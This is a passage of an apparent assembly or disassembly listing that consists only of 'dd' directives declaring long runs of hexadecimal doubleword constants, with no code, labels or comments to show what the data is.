		dd 0B2525E00h, 77BCCB11h, 0A890A0CFh, 0EB8004Ch, 0EFD9F25Ch
		dd 0B300EE2Bh, 0E92340D2h, 201AA0h, 0F9E38784h,	0BFC5680Dh
		dd 0F66B6500h, 0AC553CCAh, 20A70074h, 2449A8F8h, 0BA40C89Dh
		dd 7CF2B08Dh, 3FF703CDh, 0FA10466Bh, 91F8DCCBh,	0C90EA62Eh
		dd 871A21B3h, 8AE0ACF0h, 48EF153Bh, 4806481h, 0B833180Fh
		dd 48C4DB4Ch, 94500001h, 79C95736h, 0C2EC0FC0h,	7FC56A65h
		dd 990C83A9h, 97CF7A80h, 20D81900h, 3CDEB1FEh, 8F2107A2h
		dd 67605416h, 0D43630B9h, 7A5852C2h, 326303C4h,	0C866FFF9h
		dd 1E39376Dh, 31F885h, 5510D67Bh, 2A3B3583h, 60F67471h
		dd 4E818801h, 0D39ACDA3h, 0C96AF60h, 427903DFh,	0D501BBC8h
		dd 9E1EEB11h, 0A760258Ah, 0E1A0065h, 6FA99390h,	0CE00B273h
		dd 6A978D4Ch, 1ECC3F47h, 1C708Bh, 0BC451231h, 110F2B51h
		dd 1F87A73Bh, 0BD18F900h, 327336Ah, 7882809Fh, 8FC041EEh
		dd 0F71D8B86h, 0A440631Fh, 0AE6256C8h, 31C90094h, 0DD82EC29h
		dd 1509B939h, 0E6224Dh,	0B6852FCCh, 6B5E0318h, 7B428BE3h
		dd 8EA0E8Fh, 0D00A00CCh, 9CF340BAh, 18907000h, 77BD3799h
		dd 0E83D6139h, 28AF0C3Ah, 0CE511DC4h, 99E75E40h, 0C5B455h
		dd 49856592h, 1C0BBC0Fh, 0F3C24A00h, 2BFA9F0h, 0E040239h
		dd 2A52E080h, 8C4AAF40h, 75F7B00h, 84F7BC3Eh, 95410E65h
		dd 43C331CFh, 0BDC0AEA1h, 8C997798h, 2819900h, 5687D6h
		dd 66FDD15Ah, 0C98C3F63h, 75CADB07h, 40FE815Eh,	9D533EDDh
		dd 91123D65h, 3F337203h, 1AF0349Fh, 0D0C0232Dh,	5A22F7E3h
		dd 9C964CD5h, 56C3F800h, 8EBCD0A3h, 540088F4h, 7C91762Eh
		dd 0EC1DDEBFh, 46BE006Eh, 8E2FDC2Bh, 0A008543h,	0EB13EB9h
		dd 1CD96234h, 57E1AF9Ah, 0F02822BEh, 24181C0h, 42AB6A00h
		dd 0AFE0D365h, 81A50032h, 0D0FD4E46h, 0AD00EA3Eh, 1E70D51Fh
		dd 36915Bh, 0BE1AC3A8h,	8E2588FCh, 0F5B82D60h, 709817AAh
		dd 0B0680B2Ch, 54A05D2Ah, 262ED07Ch, 5ECD7903h,	0E009BF4Eh
		dd 1FAA14E4h, 808C1BB6h, 58C5E62Dh, 0E5002E8Fh,	76A2E074h
		dd 0D67FFFh, 0DCE10B45h, 0A753625Ah, 6D186F0Eh,	0D8B9AC24h
		dd 0FED60069h, 9B1EBF20h, 6772588Bh, 40CBC14h, 99E300BCh
		dd 0EE46DD88h, 0E4973A13h, 20418151h, 83F419A7h, 0D2B0332h
		dd 0E4FB75A3h, 1B239AB0h, 0F6E95600h, 10D2634Eh, 509927h
		dd 879FDC28h, 81078E1Dh, 9641BDE5h, 49F322E0h, 0E8949098h
		dd 961079EEh, 0B7980C4h, 9ECE3314h, 75FA7D06h, 42D032h
		dd 0F0A29A67h, 0A477FB03h, 0E6B91E00h, 9CF4E7EAh, 573D0774h
		dd 1965EE9Ah, 7BCB8280h, 15015542h, 0A3BB7949h,	90EB0E03h
		dd 181EB25h, 0F0E05D85h, 301AF768h, 54B89058h, 586BDB05h
		dd 7C80FB84h, 9E9A3Fh, 31F56105h, 7F7A2703h, 20491F00h
		dd 1391C96Dh, 2CFB888h,	0CAEBCF65h, 58402DB4h, 0D510964Bh
		dd 7B0225BDh, 0AC82996Bh, 0CCE303E1h, 48E2CD67h, 0BE871300h
		dd 14CC4C20h, 0E47A21h,	9BEE8608h, 4504CF66h, 0FF00F7E2h
		dd 91C137ECh, 33BD8F8h,	0AF9B6BC7h, 90C449D9h, 0B4823558h
		dd 7B0036F2h, 0DC454ED4h, 974C5Bh, 4B74CFE7h, 214941A4h
		dd 100088B0h, 0AFE9AA2Bh, 63FB73h, 0AD4B48C5h, 8B2C3897h
		dd 0C3296200h, 0B7EC251Dh, 0FDC258E0h, 348F9D38h, 0D0F5E27h
		dd 7ACC0EAh, 60414EA6h,	141F7088h, 780096FAh, 1D6475C7h
		dd 0E97A8B5h, 0B938E85h, 3CCC34AAh, 7FC54h, 760F8108h
		dd 73534A4Dh, 0EF093F04h, 9CD09B9Ch, 3F45721Ch,	7480C7D9h
		dd 0A71573FBh, 92F49FFFh, 8551DA13h, 3FB33900h,	50F69A26h
		dd 396296E6h, 5DCEFAh, 2004E4Ch, 8C27761Bh, 8898E518h
		dd 0BD859804h, 48F06453h, 31CA0E40h, 0A0201C8Eh, 5F3E23A9h
		dd 8306F300h, 7465AF95h, 4E0F826h, 34C5E8DCh, 0A28F09Ch
		dd 49B3C100h, 0CC01E6FAh, 16D71A6h, 0AF8E4232h,	20702D3Ah
		dd 93011A34h, 0C4E57C4Ah, 94F95D45h, 0F2B6DBC8h, 0A38900F5h
		dd 0C751CC65h, 16328311h
		dd 833720B1h, 0C0C4FAD0h, 76ED3A45h, 0D50507E7h, 0A0717BB4h
		dd 776BC6DDh, 930C060h,	0E0B3E9h, 37413248h, 20BDCBD8h
		dd 2CF3A42Eh, 28A58500h, 7C2B8Ah, 368FA9FBh, 566FCA67h
		dd 0A2EA4801h, 45833C19h, 895030h, 0BF7E5551h, 0EBAD60A9h
		dd 7F136114h, 0EAAB00ACh, 0BA32DDF9h, 9B680575h, 0C0042D5Ch
		dd 0F3AA361h, 0CE25FC00h, 0D94B5837h, 2BA91F96h, 0BC18800Ch
		dd 0E668B7Fh, 3B014014h, 0F11F00A4h, 0DFC0C757h, 81740134h
		dd 0D11847C9h, 2003830h, 393CB612h, 0FC71401Eh,	0F4E600F8h
		dd 0AEBE4D13h, 0F201425Fh, 0F1AC2DC4h, 0C2CC8185h, 6E39094Bh
		dd 24C575D5h, 0B9E45D00h, 0BDF2F0h, 0E83FDB10h,	0CDC4E079h
		dd 87605712h, 0C6B2AA00h, 0EAA59Eh, 0E8DA2E7Ch,	93E21CD5h
		dd 0C9D08212h, 0AAC28400h, 2EA42FCFh, 132B563Fh, 82001E2Ch
		dd 0E8DF5BABh, 725A4468h, 48A02300h, 1B3B7492h,	24CF003Ch
		dd 458561E5h, 6D00A3E9h, 0D9C13006h, 13361D5Ah,	901E358Eh
		dd 200E51F4h, 39317D00h, 3B59C47Ah, 0F89F03A3h,	13C5B5DAh
		dd 485C7809h, 4674C0DFh, 3C2D78ECh, 500B4CCh, 0E954EE5h
		dd 0FA0139E6h, 0DC36C351h, 0F0600706h, 90EF1292h, 0A9A000F9h
		dd 958BBC26h, 79EA1405h, 0A8001C9Ah, 0C8726505h, 337B00F2h
		dd 0A4C76786h, 9E01B39Dh, 464940B5h, 90704461h,	7D8C00EDh
		dd 180CC8D7h, 7305A24Bh, 19D30B86h, 395E8900h, 49BC88h
		dd 4B706BB0h, 282FA4DBh, 86F49F00h, 0C40CB88Fh,	2CC778Dh
		dd 989C5381h, 0ECE0A343h, 2C10BA25h, 7F003B7Dh,	0CFF675C1h
		dd 5A0026D2h, 0FE82E3D6h, 80ABB2h, 667EF410h, 0BA90119h
		dd 5A9AE703h, 9843E048h, 3F695AFh, 6235B849h, 9BF8DF1Eh
		dd 3180A7B1h, 0C69800D5h, 69662850h, 3E006DA9h,	45B7746Fh
		dd 3447186h, 0E152CFAEh, 43900CB5h, 60001480h, 45BEBF21h
		dd 1CE729A8h, 803E31A4h, 0AC3FB989h, 0F5005CB7h, 0EC93BAA5h
		dd 59E82Bh, 1641BF6Eh, 0F1E6C7CBh, 1737F512h, 84006BACh
		dd 0F052D46Dh, 0CE312FACh, 9A32F853h, 2481843Dh, 0ECC41B70h
		dd 0CD1E28E0h, 7144A70Eh, 0CC86AFD3h, 3FFCA0E8h, 0C4BA1217h
		dd 0B72800A0h, 62C091E9h, 0A2766600h, 27CC2A28h, 0D7FB0018h
		dd 0B2ACED1Fh, 83004313h, 0C5DC6DF5h, 1157F17h,	0E6782F5Bh
		dd 0C0394DD8h, 4C2F3BACh, 6D008003h, 2E947663h,	84E2D1h
		dd 66F13583h, 180F2B9Dh, 0C9230A6Bh, 0D0C48A7Fh, 84B31600h
		dd 1CFC6CCh, 0F4048817h, 0F5B8B568h, 0A8B0912Bh, 7A6E50C2h
		dd 8660D462h, 4B0046C2h, 0ABF30640h, 5A8CBDCCh,	64C40728h
		dd 0F704F030h, 270198FBh, 0B197DFA3h, 8C37A73Dh, 390BD204h
		dd 4CA0A0C3h, 911ADD00h, 8CFCF422h, 26B72C6Fh, 0EC408054h
		dd 3D6C489Ch, 0AA1DDEB8h, 6080CC9Dh, 699A5694h,	8E4A0027h
		dd 7C616554h, 0F300E309h, 0D5CD9226h, 1E24659h,	7B300FDFh
		dd 6074548Fh, 283CC9C6h, 53948078h, 4C85DBFEh, 0D511F9Ah
		dd 32B940FCh, 1A4179A1h, 27AFA200h, 613495Ah, 4D613ED4h
		dd 3D8FFF80h, 0B9871768h, 3964A500h, 0E922FEF8h, 95455097h
		dd 0C1BC0019h, 0F127BBC7h, 0DA0ECACBh, 0C1E7A1FEh, 0B86B4183h
		dd 28BE6F70h, 1A0067Bh,	0B2D31144h, 318FB3D1h, 0D436DD00h
		dd 4C0076DCh, 5073A66Dh, 25BD9F3Ch, 20001C58h, 818EF137h
		dd 481FD8E0h, 454BDC8Ch, 6DA982FEh, 593460D0h, 0CDF90089h
		dd 9E63F88Bh, 302C0C37h, 2605875h, 1AE20DBh, 29549F04h
		dd 40CC2157h, 7C4773C6h, 89E790Ch, 1F90A802h, 0EAED61h
		dd 18460FFAh, 0B33BBA06h, 0C6EF8336h, 0E2DB05D0h, 4F056h
		dd 8C122402h, 288F1D6Ch, 0FC09C003h, 8A363E7Eh,	0B97C60D5h
		dd 0C730170h, 8C3FAA27h, 0D9B880C1h, 0EC3B60FDh, 77090DFh
		dd 0FE575F35h, 0B167000Ch, 52269FBDh, 3608CC1Fh, 0FFA15047h
		dd 0A6FE6E03h, 8AF1839Eh, 0B918E021h, 3CF001E9h, 6E9138D3h
		dd 9AEED856h, 0BD494E07h, 80A94B5Bh, 0B0B869B5h, 79541DB9h
		dd 763E005Ch, 9728F1E7h, 96877B01h, 0F899AF9Bh,	4CCD6870h
		dd 1402A4DFh, 0CBDAD6DDh, 8FC63200h, 4B3A4069h,	80112600h
		dd 37392EAEh, 8BC09E89h, 428047DFh, 0C65E22C2h,	0F97BDC02h
		dd 0E11DCE77h, 5C7CAB9Ch, 0E1F17D00h, 1557599Dh, 3F57700h
		dd 1A6D18FAh, 20274A45h, 67435800h, 0F068B000h,	0C233905h
		dd 0EDF60066h, 2C0D7DC1h, 0B471DA19h, 219B3E24h, 0BFD86E01h
		dd 28283254h, 0D100EA20h, 97B02018h, 70F8C2h, 8E1BCB31h
		dd 53B97643h, 5ECE171Ch, 3B00CD56h, 183635F5h, 0DC2E2CFDh
		dd 0BE461C7Ch, 0C92F1Eh, 71A9AFA7h, 6A30BB69h, 47EE10DBh
		dd 0D7730090h, 0F905136Bh, 674E2CDAh, 0A10DB405h, 7B520B4h
		dd 6657381Ch, 0B789C09Fh, 0C75E3FD4h, 153E1800h, 8FA1CBh
		dd 4E51560Eh, 0AADCCC3Ch, 60774525h, 0F09B9Ch, 0CA392AC3h
		dd 3AF7A8CFh, 129A0801h, 0A07FD860h, 0D173C34h,	0B090274Fh
		dd 311ED811h, 0B07D732Ch, 60230C82h, 1845004h, 0F54DEF1Ch
		dd 60DE2BAAh, 1201AB2Ch, 5EA859A7h, 65D5EDBAh, 4FE92881h
		dd 0C0F1A38Fh, 0C33CD4DEh, 9EF91795h, 14B57001h, 246016ECh
		dd 0CE050003h, 74A6886h, 73007887h, 98C648F3h, 0B0756F2Dh
		dd 41FE0042h, 89CB4FB5h, 0F7002346h, 0CA66246Eh, 99CB86Ah
		dd 94A2D94h, 0C134DC00h, 100262A2h, 0A36C5FE4h,	0FC07882h
		dd 961D5DA6h, 622B2020h, 0B008970h, 0E6E733EDh,	96EA3F42h
		dd 0CCBC00ECh, 6FCEF42Dh, 0E548AD77h, 0D9290FD4h, 30295369h
		dd 77D58ECh, 0F3430E2Eh, 0DDDF4020h, 0FCF3040Bh, 6B00B5B9h
		dd 59A6A13Ah, 2A6A28h, 0CCE47C01h, 1F168FC3h, 76C2F102h
		dd 48968149h, 38F62B08h, 0BD3A35FDh, 2A484784h,	0E264CCA6h
		dd 6049F200h, 0F2CD440h, 0A9C60005h, 0A3B70AC1h, 740553DBh
		dd 0E02DCFFh, 0EE42CCA0h, 10D5006Fh, 90ADB195h,	0B62F75A0h
		dd 0E5680682h, 0CD2C0461h, 80AF934Fh, 42F01074h, 0B7641316h
		dd 45C2D03h, 0A230B1A7h, 0CCFA2081h, 0D0E19B28h, 0C45C2A85h
		dd 14760031h, 0EEEF5711h, 13F3005Bh, 4760A9C0h,	0A800CE78h
		dd 1AD21290h, 7422660Ah, 746300BAh, 28B462DEh, 907CEE2Dh
		dd 7012DD00h, 4DEB8586h, 3E4B00DCh, 0A97C4935h,	0D800BB72h
		dd 6B48B9BEh, 7B4ADED5h, 7EBA2E67h, 0C0A21DEAh,	0E7EDF513h
		dd 5E0011B3h, 0AE759705h, 71A8ED2h, 7ABC74Dh, 28F7D08Bh
		dd 720038DEh, 19EC13B9h, 90AAE3h, 0FD0805Ch, 0B6FB36E9h
		dd 0FEABDE04h, 0D180B0CBh, 182D86Ch, 958CD087h,	0F9BA13B8h
		dd 3BD83CD9h, 2C045AF7h, 0A4C09C63h, 727F4153h,	0E2790774h
		dd 0F073188Ch, 22E38045h, 0F21A993Ah, 493F5A00h, 90D78309h
		dd 0AE50066h, 23972AB5h, 0AF099ABFh, 0C0FB9DADh, 75CFA4DCh
		dd 49241363h, 0C39C03E3h, 0C5C0BCE2h, 0E80061A8h, 407DF7BEh
		dd 0B5C0A3h, 7F312E5h, 2181AFD5h, 0B2775D00h, 604F457Ah
		dd 7067933h, 85F39E25h,	4227D082h, 8B00C511h, 446091BEh
		dd 3B97D64Eh, 2D80D4D2h, 50759206h, 35FCDF2Fh, 0FC66CB02h
		dd 4894F688h, 0BEA06464h, 28987A8Ch, 0E4B83FF5h, 0E9FE2103h
		dd 7E69612h, 0CF3AF6A2h, 755FE027h, 0C1F01F7Fh,	0D5014174h
		dd 848131D4h, 3DE46AFEh, 3E0B26C7h, 80EC14E8h, 2B7B409h
		dd 36F06C48h, 0CD1E1B7Fh, 0F5960FEEh, 56791040h, 71F38AC0h
		dd 0BC284C2Dh, 9A00223Ah, 33EBEE5h, 5800686Bh, 87F3C10Fh
		dd 0BCF008h, 0CF208B1Fh
		dd 394DBFDFh, 904BA03h,	0A0F1EE7Dh, 9D8C75DBh, 0EC1C5C29h
		dd 6A5E3Ch, 0E386F429h,	268BB247h, 0F0CB2Bh, 0B71D668Ch
		dd 0C23F0820h, 0DB1580E4h, 632E5FEEh, 5ABE0739h, 34BCDF86h
		dd 0F6FCC1CBh, 7ACD12A9h, 587B01E8h, 0BA2D6D9Ah, 0A03879h
		dd 0E206AD82h, 9CE8BBh,	2C91980h, 0EA9BB8B6h, 0A53C9D02h
		dd 60843210h, 3A8310h, 0B00B054Bh, 9A3D47FEh, 56296709h
		dd 200D05Fh, 21BCC1EAh,	0B660C604h, 0F0A01869h,	0EB00E519h
		dd 0E629FA75h, 0F7E9B7h, 0FF6F377Fh, 18283C3Dh,	0B000D571h
		dd 394C2FCEh, 425448h, 85B35AABh, 3BFAB7C4h, 20B828C0h
		dd 0D8C6F4h, 0C7FF1279h, 5CFE871h, 0C10D6609h, 6D3C48D1h
		dd 0C33B0008h, 0E2524997h, 0F4006255h, 4131B89Bh, 0B3F6F0h
		dd 0D590873h, 0A65A57F1h, 0B21F3EE4h, 0EBC9E2F3h, 0D4848201h
		dd 1C2454E0h, 0C64C0983h, 6C1F2680h, 0FD3F0645h, 0B2D1FB5h
		dd 81E250C9h, 0C6C7544Dh, 95CA6870h, 0AC1B2800h, 0E505138Dh
		dd 779D4D8Fh, 0EC092080h, 9CF47C9h, 0DAE70Eh, 92DC6F23h
		dd 8D49517Ah, 0C6506540h, 8AB3001Dh, 99FA8FDEh,	4612523Bh
		dd 20F0D1AAh, 6FA40164h, 5D1FCC4Ah, 0A8F36016h,	17621C00h
		dd 760EBD07h, 0EF180022h, 0D9332A9Fh, 67773866h, 858DDC0Eh
		dd 5B65C3BBh, 0BDCBD040h, 71A4B03h, 46BE0B74h, 0C4054E80h
		dd 2273ABBCh, 23004CF7h, 62324FA6h, 8018B71h, 28497790h
		dd 22F44DAAh, 0A02F0066h, 1D6A7DFFh, 0C97E9BE6h, 28D65Ch
		dd 0C30AA825h, 18018E18h, 18C4B2C7h, 0FC799D9Eh, 1FE0C000h
		dd 3DBEDA3Ch, 1DDE002Ah, 0F4E774DBh, 0DC007AA4h, 2D3AE390h
		dd 0FFB351Fh, 3E4488EAh, 4282CA00h, 0AF019E02h,	133F5FC6h
		dd 10800192h, 4F382B16h, 0AA00D9A6h, 0F7A0C625h, 8D759Ah
		dd 996728EEh, 29DE9D98h, 49205800h, 66066B8Fh, 0B91D121Eh
		dd 0BC480016h, 5CB17442h, 96A1701h, 1E107686h, 28F3AC4h
		dd 0FCFFF8A1h, 61C0297Bh, 0B205539Bh, 0FB475983h, 5C15B056h
		dd 9421C2Ch, 243EBB00h,	0F190E2h, 0EB2AF0D2h, 0A17D7B4h
		dd 76740898h, 667AFE00h, 9CA50D19h, 70F600C4h, 0D43878E8h
		dd 0EE48F78Dh, 27BD0434h, 5F60CEF5h, 250543BAh,	0AB2D3B7Fh
		dd 6F2CE040h, 2DB76350h, 3414AA17h, 0FC3D6B00h,	0DC1D4BA8h
		dd 31373E84h, 0A42D6505h, 0A084B020h, 6CE2CAE4h, 0BF4A1000h
		dd 7F525D92h, 7850E47h,	9F0030DEh, 96EBF5C3h, 0F0BB7B2Eh
		dd 5047400h, 0BADDC92h,	0E4614E97h, 8783B580h, 5B0015A2h
		dd 0B173F4Ah, 1CACD3h, 11C6840Ah, 26538112h, 0C1857C00h
		dd 3FA1F177h, 0B0A71A4h, 7504E38Dh, 2F6F7C90h, 48407600h
		dd 491D07E0h, 854E0017h, 28ED948Ah, 8138A3A9h, 735D8040h
		dd 0EFF41FA8h, 9DDF610h, 0C5FB32F6h, 0BF60A780h, 91FBEADh
		dd 0A6C0A79Bh, 0D29E5A19h, 2EBC0098h, 3374C3FBh, 0F400EF7Dh
		dd 0F523B94Ch, 4CFFD2Ah, 227081D7h, 291D8034h, 390073B6h
		dd 9BBDE4EFh, 0B9A4165h, 8C97032Ch, 0F0249CC0h,	0B899C101h
		dd 0B7184C51h, 82470h, 0D5B05C4h, 2F3B86F9h, 0DA591900h
		dd 0E1700BEBh, 67780185h, 345E29AFh, 0F073D109h, 0EB00C3BDh
		dd 0B3FC7E46h, 0E9E1423h, 0F293A0A1h, 4F3B8860h, 6800CFFEh
		dd 61DC012Ch, 26ADA583h, 1284D319h, 8FDCF0A2h, 1AF61877h
		dd 0E3B13200h, 0D036C9D1h, 0FE6A3DD6h, 0FB300073h, 7C910B57h
		dd 20FD7911h, 0E603D31Ah, 869DD73Ch, 838C0B16h,	0C0C0FAC1h
		dd 1C0031CEh, 0F3DE1518h, 979664Bh, 97227DB9h, 0AAF0405Ah
		dd 0A129E500h, 7B2B0281h, 553C006Fh, 348DC35Ch,	84009841h
		dd 0B9F231AFh, 0FA1A0A97h, 7EC200ECh, 85A7D925h, 7B0707F6h
		dd 9D5F66BEh, 0C00F92DEh, 0BC5E6198h, 1C740931h, 1CB300EFh
		dd 6135862Dh, 0E71F8BB9h, 0DE2716B1h, 9D730E58h, 5DBC9998h
		dd 0B022620Eh, 0C648A023h, 0E1C1632Dh, 55260028h, 5935187Bh
		dd 712060C9h, 91113981h, 0E040D437h, 0CF54F48Ah, 0A52D7A06h
		dd 0F4613CEBh, 63750F4Fh, 53E05BA0h, 5E57ABB7h,	250AA9E6h
		dd 342CFAB4h, 8334C508h, 8A7190C7h, 36A191E3h, 0C9080BEh
		dd 0EE88ACD9h, 6376F5h,	745E4850h, 4B711530h, 0C27BE00h
		dd 3B4C66D8h, 41C80012h, 781D0635h, 0A2004090h,	0EAEFB06Bh
		dd 74B6EBh, 5AC3AA3Eh, 0A48D7AFDh, 5B23E000h, 12280867h
		dd 1AF60C7Ch, 0D1A1301Bh, 39B68900h, 0D5F9DF9Ch, 810A0013h
		dd 1BE13293h, 95003D9Fh, 3AB8C7BCh, 0CB73B4Eh, 121D11F3h
		dd 9B337541h, 0B89FF87Eh, 7447A041h, 7D4B5Eh, 7EA3605Ch
		dd 7006D87h, 88ED5716h,	14218518h, 0E0E45E09h, 65541C05h
		dd 5AF42026h, 9B03D3ADh, 27180BCh, 580930C1h, 0D3C4FA21h
		dd 594B7200h, 0F996AE25h, 41300CABh, 15992B71h,	4EFC8D78h
		dd 4F110360h, 28B9FE0Bh, 1DF40D6Ch, 1860F574h, 34221F7h
		dd 32BDFE00h, 5F0AED2Eh, 0A9350677h, 0B084AFD0h, 0D8103F0Ah
		dd 17448464h, 0B17E8D60h, 3D6FA923h, 35766E44h,	0E320BE00h
		dd 1CFB51DAh, 54B0D046h, 8C5DB8h, 0C01D8CFh, 9ACD90EFh
		dd 3F25A00Dh, 0F0D0988Bh, 0A84C60D0h, 509DB3AAh, 0E2003176h
		dd 0F29EAB34h, 0ED1E5Fh, 0AC4452B5h, 3AF3808Ah,	0BF70A500h
		dd 0D1C02537h, 0DB6A0FE3h, 3EC1FE5Ch, 0F4D7D0B8h, 0A00B7CCh
		dd 9AE42008h, 0A774D3h,	5B03727h, 0DEE764F2h, 0E998258h
		dd 201D26D2h, 423EE37Ch, 987E00A5h, 87310DFFh, 0DD3C2D4Ah
		dd 0B7AD035Fh, 80400936h, 3873A650h, 0C503239Eh, 7E3F5326h
		dd 9DF58CC8h, 3A967F00h, 0E6E4BCEBh, 41780E42h,	0C2E0AB46h
		dd 7526D0F6h, 0DF96E30Fh, 0D8808064h, 0F8E160Bh, 0D0157499h
		dd 204CA4E0h, 0E000B6BFh, 45607F9Fh, 0BC7246h, 2AFEA0D3h
		dd 4396CBABh, 6BB9D200h, 0E89DAD1Bh, 80F1541Eh,	0D004A5D3h
		dd 0E460733Eh, 74878B10h, 97D80063h, 0A1D51868h, 467C2840h
		dd 6D3ED600h, 7770CA19h, 4414A148h, 4F444508h, 94228481h
		dd 21404275h, 11423F69h, 9C1186B4h, 1C641117h, 3C1A2911h
		dd 8498C447h, 1D11C842h, 7BBE111Bh, 0C2087421h,	8431901Eh
		dd 0F0487CB5h, 98F8DC47h, 0EB9E79E5h, 6957EF00h, 7926CB27h
		dd 537E0018h, 959C2456h, 8A5CE768h, 0F7DB00BBh,	4D90386h
		dd 0DA3504CCh, 0C0D2EA5Fh, 9846C666h, 22B540Eh,	7E403D10h
		dd 7821078Dh, 0A1770016h, 0CB55E9Eh, 813FE98Eh,	4500754Ch
		dd 73C83325h, 0CDCCF6h,	0A47CF443h, 0D84D17FDh,	715C5300h
		dd 3814A033h, 319B016Dh, 0E10B0A59h, 0A5D4C860h, 0B21FACECh
		dd 779CE4BBh, 4F5B8C2h,	0A8004B06h, 0F1EA54h, 342D1845h
		dd 0EBD82A8Ah, 56BD5100h, 0B77E4271h, 0EEC84852h, 64866A3Bh
		dd 4026D89Fh, 8E00237Ch, 62B34BAAh, 9EA97Fh, 76697443h
		dd 9007597Ch, 0EB7519E6h, 1184F01h, 8B72E65h, 0AD6E9040h
		dd 2476DCh, 738DE4E9h, 38A8ACBAh, 0C086FC00h, 1D3D8357h
		dd 5068033Ah, 8EB12814h, 0B7BDEFB8h, 9853B528h,	0C5CD3B03h
		dd 691E70h, 0B86D5A10h,	0D0E7B67Ah, 164D011Eh, 59D82E40h
		dd 1D057136h, 40623807h, 0B4DE23B2h, 4E074239h,	5EA10A11h
		dd 0BBE06C97h, 0E59CB19h, 0E4C485C3h, 2BFCB940h, 0F403D053h
		dd 7CFA05E2h, 0AC04979Bh, 0F07FFCC0h, 0B14B1D7Ah, 0BC8E14DCh
		dd 0CD739500h, 521A3704h, 0C5003878h, 0D36AE2E3h, 979639h
		dd 109D99ACh, 8191B187h, 0DF67A900h, 0CEB6DCD4h, 0A52B0538h
		dd 42115A1h, 81E144B8h
		dd 0C42F9E84h, 3600A439h, 4E863F5Eh, 0D8018Ch, 0C5F8701Bh
		dd 7AFC78F9h, 235A470Eh, 0BA2160A7h, 338B950h, 0DD7CACDBh
		dd 0A0C87FF5h, 0D1179B96h, 9006660h, 1246801Eh,	765400C4h
		dd 53B218CEh, 9500E2FDh, 51BC0CC8h, 0CCC95Ah, 34C7581Fh
		dd 83988D71h, 0FD014490h, 634512E8h, 0A9C0BD0Fh, 0DCB90DC8h
		dd 89760CD0h, 80DB15A8h, 9038040Fh, 278B00CFh, 1CE2B3AEh
		dd 0D628290Ch, 627CB59Bh, 0FF91C409h, 0DE3C016Fh, 725F2h
		dd 0CDB98EC9h, 4400EE79h, 0FEFD486Eh, 428CCFBh,	0D0C30C8Dh
		dd 10088059h, 38009C34h, 0F41BC756h, 1B0411Ah, 149A7771h
		dd 0FA57BB22h, 0EDD55840h, 93041B7Fh, 96F2D946h, 590ECEC0h
		dd 0EB0FC3Fh, 73DE2411h, 0BABDF020h, 0DDE6307Dh, 80FB4B51h
		dd 0D32EE2E0h, 0E3A458A6h, 0A35EE8h, 82308C5Dh,	740D8972h
		dd 65512E0Fh, 0F36E631Ch, 607592D0h, 9AEA72C0h,	0D8842Ch
		dd 4BB851CDh, 0EDCA3886h, 8350DC6Eh, 0E0C2AC9Eh, 0E0517Dh
		dd 2D9CA068h, 49736255h, 0B5EE7112h, 8005C449h,	0C5445934h
		dd 1B8B0365h, 94E230A5h, 0F4C7F399h, 7607E59Dh,	8543D562h
		dd 0B9E80059h, 4C2EE7CAh, 0F112D741h, 0DD5400FBh, 0FFFCAA04h
		dd 808B103Bh, 0BBF0C51Ch, 0EC9185h, 269BA9CDh, 2578C70Bh
		dd 8A00207Bh, 1E10CC42h, 9AF5BF06h, 0A67A0070h,	0B224E857h
		dd 9D7CA385h, 0A42A500Ah, 2C0EB015h, 36066095h,	0A45B6h
		dd 0E04275F5h, 0DBF3F7F2h, 6B569F00h, 7FAB4ED8h, 0A27600BAh
		dd 0D9719C91h, 8F07C72Ah, 0EE7BE6D2h, 23DBF4E0h, 82E21Fh
		dd 0D328B390h, 429A0449h, 0E9157200h, 950E1276h, 0B7E30014h
		dd 0CFC2DC85h, 4A00C1ADh, 8DA97E6Bh, 12A7C616h,	0E0E49Bh
		dd 57615440h, 48005EE5h, 0AC11DA2Ah, 270DFEh, 1EA61694h
		dd 0BF95EF89h, 0A800B798h, 6AA7777Bh, 0D0DFE3h,	0D4BBE75Dh
		dd 0AC25AD7Ah, 0A4851807h, 1C600AB0h, 0FCC8B1h,	2D837ABh
		dd 36985B9Eh, 15D2F60Fh, 0A8CB0A94h, 9CE70B00h,	12144B80h
		dd 676166h, 0CF01E660h,	48002D0Ch, 5199A9DAh, 0B7F7D8h
		dd 936B9E53h, 9084D0B3h, 98CD4100h, 0E80D18B1h,	8E710EFCh
		dd 7929480h, 402696C7h,	0E70EFD39h, 5AF83Eh, 0A3615206h
		dd 0EEB3808Dh, 9F3B0124h, 8363AAB0h, 46CC249Bh,	2F0B5470h
		dd 215F3F95h, 0EED75E2Ch, 5787B980h, 0CC2DEDB3h, 0AAFBC102h
		dd 60C38C8Ah, 1D020BC4h, 41EB4547h, 3CB77659h, 0E67ADC0Ah
		dd 8794CD0Eh, 0FEF60A1h, 1DDD0CACh, 86BE86C2h, 19E2D181h
		dd 62348202h, 60472C28h, 6E8AFEh, 48F7531Ah, 33819BE8h
		dd 0A800D27Dh, 0B88872A5h, 0E2CC8ACEh, 0B982009Ch, 462BE8BEh
		dd 0A0B039A0h, 0CCADD828h, 0A8AA5700h, 9C53E4EDh, 5FC83811h
		dd 71884500h, 12BF682Eh, 59500100h, 48EC021Fh, 0EA60E67Dh
		dd 194E0207h, 0ADE71A8h, 40F9FCC9h, 75968AF7h, 0CD7E4BB0h
		dd 0EE887900h, 2C9BE118h, 0F48E7B6Dh, 62B13E89h, 8604B981h
		dd 0D4EBB381h, 0D100F942h, 679A4B38h, 1FC1ABh, 0B99F33E9h
		dd 8B992744h, 0A5223100h, 0B50B3F77h, 76C01224h, 0B4604B43h
		dd 0BEC62880h, 9CC1C9E6h, 856E9ECBh, 87B6F4h, 798F297Dh
		dd 1B18C59Ah, 8171C07h,	3100054Ah, 69093Bh, 434ED935h
		dd 8371CA4Dh, 0FC94AA50h, 67BA4909h, 9AFC204Bh,	48707590h
		dd 38005062h, 0F5655C0Fh, 1C00C064h, 12F30586h,	882930h
		dd 0A3A017EDh, 1336962Ah, 50EA7F4h, 8177E4A1h, 87501EDDh
		dd 7894F0h, 8B69A037h, 0FF5596EFh, 0F43AF200h, 0DF2DFA30h
		dd 53290024h, 0B6999C7Eh, 0CF00F6D3h, 4F8C9EE6h, 0A13146h
		dd 27BD1E91h, 0C76186DEh, 0E212C100h, 7B682CC3h, 9B040EA2h
		dd 27639567h, 0FBC080EDh, 0F0002ECEh, 0C07B5B60h, 163C3B7h
		dd 27FE0C40h, 0C83067DFh, 85008AAFh, 0E1025BAh,	1969F0h
		dd 605FC4DCh, 6590EED5h, 0C499012Ah, 32AD081Eh,	0D9BFB00h
